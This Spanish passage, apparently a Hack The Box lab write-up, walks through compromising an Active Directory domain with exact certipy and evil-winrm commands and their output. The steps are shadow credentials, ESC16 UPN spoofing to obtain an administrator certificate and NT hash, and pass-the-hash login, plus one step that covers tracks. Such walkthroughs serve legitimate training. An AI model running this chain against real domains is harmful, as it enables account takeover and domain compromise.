<figure><img src="/files/2n0aKMY44xYK9FMNqyJC" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/GlRmOmozTxLUnYr0yngU" alt=""><figcaption></figcaption></figure>

</details>

Para crear las llaves y el certificado digital usare [***certipy***](/securitylayer/pentesting-tools/tools/certipy.md), pero antes voy a concatenar un comando con [***faketime***](/securitylayer/comand-line-tools/linux/faketime.md) para asegurarme de que mi equipo tenga el mismo horario que el DC y evitar problemas de sincronización.&#x20;

<pre class="language-vim"><code class="lang-vim">❯ faketime "$(ntpdate -q '10.129.14.213' | cut -d ' ' -f 1,2)" certipy shadow auto -username 'p.agila@fluffy.htb' -password 'prometheusx-303' -account 'winrm_svc' -dc-ip 10.129.14.213 -target 10.129.14.213
Certipy v5.0.4 - by Oliver Lyak (ly4k)

[*] Targeting user 'winrm_svc'
[*] Generating certificate
[*] Certificate generated
[*] Generating Key Credential
[*] Key Credential generated with DeviceID '68455a3ee8eb4682a5667dbce674f2e2'
[*] Adding Key Credential with device ID '68455a3ee8eb4682a5667dbce674f2e2' to the Key Credentials for 'winrm_svc'
[*] Successfully added Key Credential with device ID '68455a3ee8eb4682a5667dbce674f2e2' to the Key Credentials for 'winrm_svc'
[*] Authenticating as 'winrm_svc' with the certificate
[*] Certificate identities:
[*] No identities found in this certificate
[*] Using principal: 'winrm_svc@fluffy.htb'
<strong>[*] Trying to get TGT...
</strong>[*] Got TGT
<strong>[*] Saving credential cache to 'winrm_svc.ccache'
</strong>[*] Wrote credential cache to 'winrm_svc.ccache'
<strong>[*] Trying to retrieve NT hash for 'winrm_svc'
</strong>[*] Restoring the old Key Credentials for 'winrm_svc'
[*] Successfully restored the old Key Credentials for 'winrm_svc'
<strong>[*] NT hash for 'winrm_svc': 33bd09dcd697600edf6b3a7af4875767
</strong></code></pre>

<details>

<summary>📌 <em><strong>Desglose de parámetros</strong></em></summary>

* `faketime` → Intercepta las llamadas al reloj del sistema para el comando que le sigue.
* `$(ntpdate -q ...)` → Consulta la hora del DC (`-q` es query, no cambia el reloj local) y la extrae para dársela a `faketime`.
* `certipy shadow auto` → Activa el modo automático de Shadow Credentials: añade la llave, autentica para sacar el hash y luego limpia la llave.
* `-username` → El UPN (User Principal Name) de la cuenta que realiza el ataque.
* `-account 'winrm_svc'` → La cuenta objetivo sobre la cual tenemos `GenericWrite`. Aquí es donde se inyectará el certificado.
* `-dc-ip` → Dirección del DC para la comunicación Kerberos y LDAP.
* `-target` → Dirección IP del objetivo para realizar la escritura del atributo `msDS-KeyCredentialLink`.

</details>

<details>

<summary>📌 <em><strong>Nota: ¿Qué hace certipy en este comando?</strong></em></summary>

La generación de las llaves

Cuando ejecutamos herramientas como `certipy` o `Whisker`, la tool genera un par de llaves nuevas en nuestro equipo atacante. Este par de llaves es huérfano, no tiene nombre hasta que lo inyectamos.

* Llave Pública: Es la que "regalamos" al servicio `winrm_svc`.
* Llave Privada: Es la que nos guardamos bajo llave.

El proceso de vinculación

Usamos los permisos de `p.agila` solo como una herramienta de transporte hacia la cuenta servicio.

1. `p.agila` toma esa nueva llave pública y la escribe en el atributo `msDS-KeyCredentialLink` de `winrm_svc`.
2. A partir de ese momento, para el Directorio Activo, esa llave pública le pertenece a `winrm_svc`, no a `p.agila`.

Es como si `p.agila` fuera un cerrajero que tiene permiso para instalar una cerradura extra en la caja fuerte de `winrm_svc`. Una vez instalada, la cerradura es de la caja fuerte, pero nosotros tenemos la única copia de la llave para abrirla.

El certificado digital que obtenemos (el archivo `.pfx`) es el contenedor que guarda la llave privada de esa nueva cerradura.

Cuando nos comunicamos hacia el DC con ese certificado, no estamos diciendo: *"Soy p.agila"*. Decimos: *"Soy quien sea que tenga la llave privada que corresponde a la pública guardada en la cuenta de winrm\_svc"*.

Como el DC encuentra esa llave pública en la ficha de `winrm_svc`, nos entrega el ticket (TGT) de `winrm_svc`.

</details>

Con el hash de la cuenta `winrm_svc` ya podemos conectarnos e iniciar una shell interactiva con [***evil-winrm***](/securitylayer/pentesting-tools/tools/evilwinrm.md) y buscar la flag de usuario, pero para llegar al domain admin vamos a tener que vulnerar la cuenta de `ca_svc` que es la que pertenece al grupo `CERT_PUBLISHERS` según vemos en el mapa de Bloodhound

{% code expandable="true" %}

```ps1
❯ evil-winrm -u winrm_svc -H 33bd09dcd697600edf6b3a7af4875767 -i 10.129.14.213
```

{% endcode %}

### ***Privilege escalation: AD CS UPN Spoofing***

Este ataque es una variante de las vulnerabilidades de AD CS (relacionado con los escenarios ESC de SpecterOps), pero centrado en la manipulación de identidades mediante ACLs. Como `p.agila` tiene permiso de escritura sobre `ca_svc`, podemos cambiar su atributo `userPrincipalName` (UPN) de `ca_svc@fluffy.htb` a `administrator@fluffy.htb` y pedir un certificado a su nombre (suplantamos su identidad). Al usar ese certificado, el Controlador de Dominio no mira la contraseña; mira el certificado firmado por la CA de confianza y nos da acceso total.

<div><figure><img src="/files/LF8UXb10X4fYzt4EJSnF" alt="" width="290"><figcaption></figcaption></figure> <figure><img src="/files/vigL4ZPxsXLfqrz7iHYt" alt="" width="292"><figcaption></figcaption></figure></div>

<figure><img src="/files/zQRc6DmVxkR7PawepfnW" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/9FTAhtCWGQn0Xrfboqf8" alt="" width="563"><figcaption></figcaption></figure>

La lógica del ataque reside en cómo las *Autoridades de Certificación (CA)* determinan quién es el dueño de un certificado. Muchas plantillas de certificados (como la estándar `User`) están configuradas para que la CA lea automáticamente el atributo `userPrincipalName` (UPN) del objeto que solicita el certificado y lo coloque en el campo "`Subject`" del mismo.

Para llevar a cabo este ataque primero vamos a extraer el hash de la cuenta servicio `ca_svc` haciendo uso del permiso `GenericWrite` de `p.agila`&#x20;

<pre class="language-viml"><code class="lang-viml"><strong>❯ faketime "$(ntpdate -q '10.129.14.213' | cut -d ' ' -f 1,2)" certipy shadow auto -username 'p.agila@fluffy.htb' -password 'prometheusx-303' -account 'ca_svc' -dc-ip 10.129.14.213
</strong>Certipy v5.0.4 - by Oliver Lyak (ly4k)

[*] Targeting user 'ca_svc'
[*] Generating certificate
[*] Certificate generated
[*] Generating Key Credential
[*] Key Credential generated with DeviceID '459ada7686e0430b84de1821dd0c3dd7'
[*] Adding Key Credential with device ID '459ada7686e0430b84de1821dd0c3dd7' to the Key Credentials for 'ca_svc'
[*] Successfully added Key Credential with device ID '459ada7686e0430b84de1821dd0c3dd7' to the Key Credentials for 'ca_svc'
[*] Authenticating as 'ca_svc' with the certificate
[*] Certificate identities:
[*] No identities found in this certificate
[*] Using principal: 'ca_svc@fluffy.htb'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'ca_svc.ccache'
[*] Wrote credential cache to 'ca_svc.ccache'
[*] Trying to retrieve NT hash for 'ca_svc'
[*] Restoring the old Key Credentials for 'ca_svc'
[*] Successfully restored the old Key Credentials for 'ca_svc'
<strong>[*] NT hash for 'ca_svc': ca0f4f9e9eb8a092addf53bb03fc98c8
</strong></code></pre>

<details>

<summary>📌 <em><strong>Desglose de parámetros</strong></em></summary>

* `faketime "$(ntpdate...)"` → Ajusta temporalmente la hora del comando para que coincida con la del DC, evitando el error de Kerberos `KRB_AP_ERR_SKEW`.
* `certipy shadow auto` → Ejecuta el flujo completo de Shadow Credentials (inyecta llave, auténtica y limpia).
* `-u 'p.agila'` → Usuario con el que nos autenticamos (el que tiene el permiso `GenericAll`).
* `-p 'prometheusx-303'` → Contraseña del usuario.
* `-account 'ca_svc'` → El objetivo es la cuenta de servicio de la CA, sobre la cual tenemos permisos de escritura.
* `-dc-ip` → Dirección IP para comunicación Kerberos/LDAP y para la escritura del atributo `msDS-KeyCredentialLink`

</details>

### ***Enumeración de Vulnerabilidades AD CS con certipy***

Ahora vamos a enumerar missconfigurations con el módulo find de certipy. Lo que hace este módulo es consultar objetos específicos en el LDAP y compararlos con una lista de "malas prácticas" conocidas (los escenarios ESC que define SpecterOps).

Mapeo de la Infraestructura (El Inventario). Certipy busca tres tipos de objetos en el Directorio Activo y los escanea en busca de errores de configuración:

* Certificate Authorities (CAs): Servidores que emiten los certificados.
* Certificate Templates (Plantillas): Los "moldes" que definen qué permisos tiene un certificado.
* Enrollment Services: Qué servidores están autorizados para registrar usuarios.

<pre class="language-vim" data-expandable="true"><code class="lang-vim"><strong>❯ certipy find -username ca_svc -hashes :ca0f4f9e9eb8a092addf53bb03fc98c8 -dc-ip 10.129.14.213 -vulnerable -stdout
</strong>
Certipy v5.0.4 - by Oliver Lyak (ly4k)

[*] Finding certificate templates
<strong>[*] Found 33 certificate templates
</strong>[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 11 enabled certificate templates
[*] Finding issuance policies
[*] Found 14 issuance policies
[*] Found 0 OIDs linked to templates
[*] Retrieving CA configuration for 'fluffy-DC01-CA' via RRP
[!] Failed to connect to remote registry. Service should be starting now. Trying again...
[*] Successfully retrieved CA configuration for 'fluffy-DC01-CA'
[*] Checking web enrollment for CA 'fluffy-DC01-CA' @ 'DC01.fluffy.htb'
[!] Error checking web enrollment: timed out
[!] Use -debug to print a stacktrace
[!] Error checking web enrollment: timed out
[!] Use -debug to print a stacktrace
[*] Enumeration output:
Certificate Authorities
  0
    CA Name                             : fluffy-DC01-CA
    DNS Name                            : DC01.fluffy.htb
    Certificate Subject                 : CN=fluffy-DC01-CA, DC=fluffy, DC=htb
    Certificate Serial Number           : 3670C4A715B864BB497F7CD72119B6F5
    Certificate Validity Start          : 2025-04-17 16:00:16+00:00
    Certificate Validity End            : 3024-04-17 16:11:16+00:00
    Web Enrollment
      HTTP
        Enabled                         : False
      HTTPS
        Enabled                         : False
    User Specified SAN                  : Disabled
    Request Disposition                 : Issue
    Enforce Encryption for Requests     : Enabled
    Active Policy                       : CertificateAuthority_MicrosoftDefault.Policy
    Disabled Extensions                 : 1.3.6.1.4.1.311.25.2
    Permissions
      Owner                             : FLUFFY.HTB\Administrators
      Access Rights
        ManageCa                        : FLUFFY.HTB\Domain Admins
                                          FLUFFY.HTB\Enterprise Admins
                                          FLUFFY.HTB\Administrators
        ManageCertificates              : FLUFFY.HTB\Domain Admins
                                          FLUFFY.HTB\Enterprise Admins
                                          FLUFFY.HTB\Administrators
<strong>        Enroll                          : FLUFFY.HTB\Cert Publishers
</strong>    [!] Vulnerabilities
<strong>      ESC16                             : Security Extension is disabled.
</strong>    [*] Remarks
<strong>      ESC16                             : Other prerequisites may be required for this to be exploitable. See the wiki for more details.
</strong><strong>Certificate Templates                   : [!] Could not find any certificate templates
</strong></code></pre>

<details>

<summary>📌 <em><strong>Desglose de parámetros y análisis del output</strong></em></summary>

* `find` → Módulo de enumeración de servicios de certificados.
* `-hashes` → Utilizamos el hash NT obtenido en el paso anterior para autenticarnos como `ca_svc` (Pass-the-Hash).
* `-dc-ip` → Dirección IP del objetivo.
* `-vulnerable` → Filtra los resultados para mostrar solo plantillas de certificados (templates) con configuraciones inseguras.
* `-stdout` → Imprime el resultado directamente en la consola en lugar de generar archivos de texto/zip.

Output

* `Enroll: FLUFFY.HTB\Cert Publishers` → certipy nos confirma que cualquier miembro del grupo `Cert Publishers` tiene permiso para solicitar certificados a esta CA.&#x20;
* `[!] Vulnerabilities: ESC16` → certipy detectó que la Extensión de Seguridad (OID 1.3.6.1.4.1.311.25.2) está deshabilitada en esta CA. Esta extensión es la que normalmente evita que alguien manipule el UPN para suplantar identidades. Al estar deshabilitada, la CA es "ciega" ante el cambio de UPN que vamos a hacer. Nos permite pedir un certificado con un UPN de Administrador y la CA lo entregara sin restricciones.&#x20;
* `[!] Could not find any certificate templates` → no encontró templates vulnerables. Lo que está mal configurado es el servidor (la CA) con ese ESC16.

</details>

Ahora podemos seguir con la modificación del `UPN` y hacer el spoofing de `ca_svc` a `administrator`

<pre class="language-viml" data-expandable="true"><code class="lang-viml"><strong>❯ certipy account -u 'p.agila@fluffy.htb' -p'prometheusx-303' -dc-ip 10.129.14.213  -upn 'administrator' -user 'ca_svc' update
</strong>Certipy v5.0.4 - by Oliver Lyak (ly4k)

[!] DNS resolution failed: The DNS query name does not exist: dc01.fluffy.htb.
[!] Use -debug to print a stacktrace
[*] Updating user 'ca_svc':
<strong>    userPrincipalName  : administrator
</strong>[*] Successfully updated 'ca_svc'
</code></pre>

<details>

<summary>📌 <em><strong>Desglose de parámetros</strong></em></summary>

* `account ... update` → Módulo para modificar atributos de objetos.
* `-u 'p.agila'` → Usuario con el que nos autenticamos (el que tiene el permiso `GenericAll`).
* `-p 'prometheusx-303'` → Contraseña del usuario.
* `-dc-ip` → Dirección IP del objetivo.
* `-upn 'administrator'` → Cambia el atributo `userPrincipalName` de `ca_svc` a `administrator`.
* `-user 'ca_svc'` → Indica qué cuenta estamos "disfrazando".

Aca `p.agila` usa su permiso `GenericWrite` para hacer que el sistema crea que `ca_svc` tiene la identidad del administrador.

</details>

Verificación que se cambio correctamente el atributo

<pre class="language-viml" data-expandable="true"><code class="lang-viml"><strong>❯ certipy account -u 'p.agila@fluffy.htb' -p 'prometheusx-303' -dc-ip 10.129.14.213 -user 'ca_svc' read
</strong>Certipy v5.0.4 - by Oliver Lyak (ly4k)

[!] DNS resolution failed: The DNS query name does not exist: dc01.fluffy.htb.
[!] Use -debug to print a stacktrace
[*] Reading attributes for 'ca_svc':
    cn                                  : certificate authority service
    distinguishedName                   : CN=certificate authority service,CN=Users,DC=fluffy,DC=htb
    name                                : certificate authority service
    objectSid                           : S-1-5-21-497550768-2797716248-2627064577-1103
    sAMAccountName                      : ca_svc
    servicePrincipalName                : ADCS/ca.fluffy.htb
<strong>    userPrincipalName                   : administrator
</strong>    userAccountControl                  : 66048
    whenCreated                         : 2025-04-17T16:07:50+00:00
    whenChanged                         : 2026-04-04T05:05:32+00:00
</code></pre>

<details>

<summary>📌 <em><strong>Desglose de parámetros</strong></em></summary>

* `account...read` → Consulta y muestra los atributos actuales del objeto. Sirve para confirmar que el UPN ahora dice `administrator`.
* `-u 'p.agila'` → Usuario con el que nos autenticamos (el que tiene el permiso `GenericAll`).
* `-p 'prometheusx-303'` → Contraseña del usuario.
* `-dc-ip` → Dirección IP del objetivo.
* `-user 'ca_svc'` → Indica qué cuenta estamos "disfrazando".

</details>

Cuando ya confirmamos el cambio de `UPN` podemos hacer la suplantacion y pedir el certificado de `administrator` que certipy nos guardara en un archivo con extension `.pfx`

<pre class="language-vim"><code class="lang-vim">❯ certipy req -user 'ca_svc@fluffy.htb' -hashes :ca0f4f9e9eb8a092addf53bb03fc98c8 -dc-ip 10.129.14.213 -ca 'fluffy-DC01-CA' -template 'User'
Certipy v5.0.4 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[*] Request ID is 17
[*] Successfully requested certificate
<strong>[*] Got certificate with UPN 'administrator'
</strong>[*] Certificate has no object SID
[*] Try using -sid to set the object SID or see the wiki for more details
<strong>[*] Saving certificate and private key to 'administrator.pfx'
</strong>[*] Wrote certificate and private key to 'administrator.pfx'
</code></pre>

<details>

<summary>📌 <em><strong>Desglose de parámetros</strong></em></summary>

* `req` → Solicita un certificado a la CA.
* `-user 'ca_svc'` → Indica qué cuenta estamos "disfrazando".
* `-ca 'fluffy-DC01-CA'` → Nombre de la Autoridad de Certificación.
* `-template 'User'` → Usa la plantilla predeterminada "User".

La plantilla "User" extrae la identidad del solicitante del campo UPN. Como el UPN de `ca_svc` ahora es `administrator`, la CA emite un certificado a nombre del Administrador del Dominio.

</details>

Una vez que ya tenemos el certificado de administrator podemos restaurar el UPN de la cuenta `ca_svc` para no dejar ninguna evidencia.&#x20;

```vim
❯ certipy account -u 'p.agila@fluffy.htb' -p'prometheusx-303' -target 'dc01.fluffy.htb' -upn 'ca_svc' -user 'ca_svc' update
Certipy v5.0.4 - by Oliver Lyak (ly4k)

[!] DNS resolution failed: The DNS query name does not exist: dc01.fluffy.htb.
[!] Use -debug to print a stacktrace
[*] Updating user 'ca_svc':
    userPrincipalName                   : ca_svc
[*] Successfully updated 'ca_svc'
```

Con el certificado del usuario `administrator` podemos pedirle al DC su hash NT

<pre class="language-viml"><code class="lang-viml">❯ faketime "$(ntpdate -q DC01.fluffy.htb | cut -d ' ' -f 1,2)" certipy auth -pfx 'administrator.pfx' -dc-ip 10.129.14.213 -domain fluffy.htb
Certipy v5.0.4 - by Oliver Lyak (ly4k)

[*] Certificate identities:
[*] SAN UPN: 'administrator'
[*] Using principal: 'administrator@fluffy.htb'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'administrator.ccache'
[*] Wrote credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
<strong>[*] Got hash for 'administrator@fluffy.htb': aad3b435b51404eeaad3b435b51404ee:8da83a3fa618b6e3a00e93f676c92a6e
</strong></code></pre>

<details>

<summary>📌 <em><strong>Desglose de parámetros</strong></em></summary>

* `auth` → Autentica contra el dominio usando el certificado `.pfx` obtenido.
* `-pfx 'administrator.pfx'` → El archivo que contiene la llave privada y el certificado emitido a nombre del administrador.

Al realizar el intercambio Kerberos (PKINIT) con este certificado, el DC nos devuelve el Hash NT del Administrador.

</details>

### ***Pass the hash con Evil-winrm***

Y de esta forma logramos acceso remoto a la cuenta del admin:

```vim
❯ evil-winrm -u administrator -H 8da83a3fa618b6e3a00e93f676c92a6e -i 10.129.14.213

Evil-WinRM shell v3.5
                                        
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> type C:\Users\Administrator\Desktop\root.txt
d606c88*************************
*Evil-WinRM* PS C:\Users\Administrator\Documents> type C:\Users\winrm_svc\Desktop\user.txt
b52d8d6*************************
```
